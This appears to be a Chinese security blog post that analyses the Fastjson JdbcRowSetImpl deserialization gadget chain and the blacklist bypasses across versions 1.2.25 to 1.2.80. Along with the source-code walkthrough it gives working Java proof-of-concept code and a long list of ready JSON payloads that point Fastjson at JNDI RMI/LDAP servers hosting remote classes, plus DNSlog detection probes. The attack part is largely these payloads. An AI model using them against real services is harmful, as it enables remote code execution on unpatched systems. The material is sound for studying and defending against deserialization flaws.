java安全-Fastjson-JdbcRowSetImpl利用链及高版本绕过分析
2023-02-15 10:00:00

0x00、前言

这个内容网上学习文章很多,跟着走一遍理下原理思路

0x01、JdbcRowSetImpl利用链分析

一、知识前提

前置知识(JNDI、RMI、LDAP)已经在这篇学习
Fastjson的基础知识在这篇学习

其它没什么,先看JdbcRowSetImpl利用链的Payload

public class Payload_jdbc {
public static void main(String[] args) throws Exception {
String payload="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

json参数为三个:com.sun.rowset.JdbcRowSetImpl类名dataSourceNameautoCommit

影响范围:
1、fastjson <= 1.2.24

2、jdk版本:
JNDI-RMI:
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。
JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
JNDI-LDAP:
2018年10月,Java修复了该利用点,对LDAP Reference远程工厂类的加载增加了限制
范围:Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,需要人工调整至true

该链使用场景:
需要出网、通过JNDI远程加载RMI/LDAP,版本要求同RMI/LDAP限制版本一样,高版本会默认关闭远程地址,只有手动添加信任地址进行调用。

二、JdbcRowSetImpl本身

JdbcRowSetImpl链相比较其他链还是比较好理解的

触发点在setAutoCommit方法

这里有个conn变量,用来获取对象连接,默认值为null未赋值,会进入到else代码段中,调用connect()方法

connect方法的本意为获取jdbc连接,其中调用了JNDI远程调用地址

Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());

调用地址通过getDataSourceName()获取,因此如果DataSourceName变量可控,传入DataSourceName为恶意远程jndi服务,进行lookup调用时即可触发漏洞。

如下效果:

JdbcRowSetImpl jr=new JdbcRowSetImpl();
jr.setDataSourceName("rmi://127.0.0.1:1099/RMIObject");
System.out.println(jr.getDataSourceName());
jr.setAutoCommit(true);

三、Fastjson-JdbcRowSetImpl

前面提到,只要传入DataSourceName名,同时调用setAutoCommit方法即可触发漏洞

回顾fastjson大体执行步骤:

JSON对象解析
->创建默认JSON解析器parser(方法:DefaultJSONParser)
->对解析器pareser进行解析序列化解析(方法:parseObject)
->根据token获取对应反序列化器deserializer(方法:getDeserializer)
->对反序列化器deserializer进行反序列化解析(方法:deserialize)
->对对象和方法名进行解析(方法:pareseObject)
->获取key值(@type),类加载key对象Class
->搜寻类对象的反序列化器
->搜寻不到,再创建反序列化器(方法:createJavaBeanDeserializer)
->过程中,build javabeaninfo信息,存储setter/getter信息放入Fieldlist中
->过程中,对Fieldlist字段进行创建字段反序列化器createFieldDeserializer
->最后反序列化器JavaBeanDeserializer创建成功
->正式对反序列化器进行反序列化操作(方法:deserialize)
->通过sortedFieldDeserializers获取字段数据,然后实例化对象
->解析对象字段属性进行模糊匹配查找属性前缀get/set是否存在,"_"符号进行删除等操作
->对方法查找方法的反序列化器(方法:getFieldDeserializer)
->通过方法反序列化器对方法属性进行解析(获取到类方法名),通过setValue方法给字段赋值
->通过反射调用执行方法

这里主要分析DataSourceName的赋值以及setAutoCommit方法的调用,因为前大半段获取序列化器的流程在这篇分析分析过了,流程一样,就分析一下后面触发的地方

跟进到模糊查询方法属性步骤,循环查询方法属性,先是匹配查询dataSourceName字段

通过getFieldDeserializer方法获取属性的解析器

sortedFieldDeserializers数组中找到字段解析器

解析器找到后,对属性进行解析

调用属性值解析器对属性值进行解析(获取字段的值)

获取到值过后,调用setValue方法进行赋值

通过反射获取方法名,再调用执行完成赋值

dataSourceName字段处理就完成,AutoCommit方法跟上面一样,就不重复写过程了

invoke调用setAutoCommit方法,触发漏洞

0x02、fastjson高版本绕过分析

1.2.25-1.2.41

1.2.24-41,更新情况:

  • autotype默认关闭
  • 添加 checkAutoType 方法进行黑白名单处理加载类

版本更新至1.2.25-1.2.41区间中,再次运行会提示autotype不支持

autotype也是默认关闭的,需要手动开启

然后经过白名单(白名单列表为空)循环判断,再经过黑名单循环判断,白名单会直接加载类,黑名单匹配会直接抛出异常

黑名单的类:

如果不是黑名单的类会到类加载步骤

其中会经过两个处理:

  • 开头为[符号,会将其删除然后再进行类加载
  • 开头为L,结尾为;分号,会将其删除然后在进行类加载

绕过思路就可以将类进行上述两种方法构造:

  • “@type”:”Lcom.sun.rowset.JdbcRowSetImpl;”
  • “@type”:”[com.sun.rowset.JdbcRowSetImpl”

然后手动开启autotype即可,得到payload:

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);

但实际使用[为开头的方式会报错,遇到parseArray的时候会抛出异常

提示在位置42处缺少[号,及第一个逗号的位置

添加[符号
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"[, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";

运行提示44位置缺少{符号,继续添加

String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";

执行成功

使用L开头;结尾的形式能正常绕过

得到最后的payload:

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);

1.2.25-1.2.42

修复情况:

  • 在checkautotype中新增了对首字母L的处理,匹配到L开头;结尾进行一层首尾字符过滤去除
  • 对黑白名单类进行hash取值

1.2.42版本在checkautotype方法中,先过滤了一层首尾符号

然后通过hash去设置黑白名单,目的为了不让攻击者知道黑名单是什么明文内容


hash碰撞脚本:https://github.com/LeadroyaL/fastjson-blacklist

若不是黑名单中的类,进入类加载,这里跟原来一样,会再次过滤首尾符号L/;,其他没有变动

可通过加两层L/;即可绕过42版本的修复,[符号的绕过方式仍然可行,得到payload:

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\", \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}";
JSON.parse(payload);
}

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);
}


1.2.25-1.2.43

修复方式:

  • 新增加对LL的判断。

如果首字母为LL开头直接抛出异常,是L开头则去掉首尾符号

对L和LL都进行处理过后,L的绕过方法就走不通了,但是[方法还可以继续使用没有被过滤

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"rmi://127.0.0.1:1099/RMIObject\", \"autoCommit\":true}\";";
JSON.parse(payload);
}

1.2.25-1.2.44

修复方式:

  • 新增对[的判断

如果匹配到首字符是[符号,则直接抛出异常,因此45版本中直接使用L和[的两条攻击方式都失效了

1.2.25-1.2.45

绕过方式依赖第三方组件mybatis,版本在3.0.0<3.5.0之间,该组件在当前版本不在黑名单当中

payload

public static void main(String[] args) throws Exception {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://127.0.0.1:1099/RMIObject\"}}";
JSON.parse(payload);
}

调用类为org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,方法名为properties,参数为data_source

这里比较好理解,fastjson通过setter器获取properties参数的setproperties方法,通过反射进行执行,这里的分析跟上面的JDBC链分析是一样的就不重复分析了

调用setproperties方法,该方法调用了JNDI,JNDI远程lookup地址为properties.getProperty(DATA_SOURCE),也就是传入的data_source的值,触发漏洞

后面版本就将该类加到了黑名单当中

1.2.25-1.2.47通杀绕过

payload:

{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/RMIObject",
"autoCommit":true
}
}

分析这里直接到关键步骤吧,前面流程跟上面分析的一样,直接循环调用到parseObject方法解析对象

然后会调用checkautotype进行黑白名单处理

由于未开启autoypesupport,因此不会进入黑白名单匹配检测

由于Map为空,因此在map中找不到该typename,然后从hashmap中找到

获取clazz和反序列化器deserializer后,进行反序列化deserialze操作

进入MiscCodec.deserialze方法,对解析对象进行解析获取值


再将值赋值给strVal

然后判断clazz类型,进行不同处理,当clazzClass类时,会进行类加载操作

跟进,调用缓存变量为trueloadClass方法

经过一些过滤判断,最后将clazz放入map缓存中

“a”主体的代码段的作用就在这里,利用java.lang.Class类绕过黑白名单然后将恶意代码类写入map缓存中

然后再次循环解析对象到”b”这里,跟进parseObject方法

再次走到黑白名单过滤方法

依旧,直接跳过黑白名单判断,从mapping缓存中读取类对象

由于”a”主体代码执行的时候将恶意类put进了mapping缓存中,因此这个读取能读取到恶意类的clazz,绕过了黑白名单检测

获取到clazz后,进行正式反序列化操作,后续的操作就不再分析了,跟上面分析jdbc的执行一样的流程

1.2.48版本过后修复把cache缓存标识改为了false,无法再使用该payload

大于48版本后面的基本上就是绕过黑名单限制的类,就不做分析了,跟前面类似,就记下网上公开的payload吧

1.2.50-1.2.59

payload:
使用前提:开启autotype,

> {"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
> {"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}

1.2.50-1.2.60

payload:
无需开启autotype

> {"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}
> {"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}

1.2.50-1.2.61

payload:

> {"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}

1.2.24-1.2.62

payload:

> {"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}
> {"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor","parameters":{"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"},"namespace":""}

1.2.24-1.2.66

需要开启autotype
payload:

> {"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
> {"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory","jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
> ​{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}​
> {"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}​
> {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}​
> {"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":{"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}

1.2.24-1.2.67

需要开启autotype
payload:

> {"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
> ​{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

1.2.24-1.2.68

无需开启AutoType

> {"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}

1.2.24-1.2.80

可以参考su18师傅的payload和Y4er师傅的分析文章

检测payload

{"@type":"java.net.InetAddress","val":"dnslog.cn"} 
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

0x03、总结

在48版本开始疯狂的bypass黑名单,大体跟完fastjson的修复感觉就是掉一个捡一个,还是学到很多,其中还有些涉及到不出网的利用还没分析学习,后面再跟

0x04、参考链接

https://drun1baby.github.io/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/
https://www.yuque.com/tianxiadamutou/zcfd4v/xehnw7
https://cloud.tencent.com/developer/article/1957185
https://xie.infoq.cn/article/2e75402d042279ad0845faba9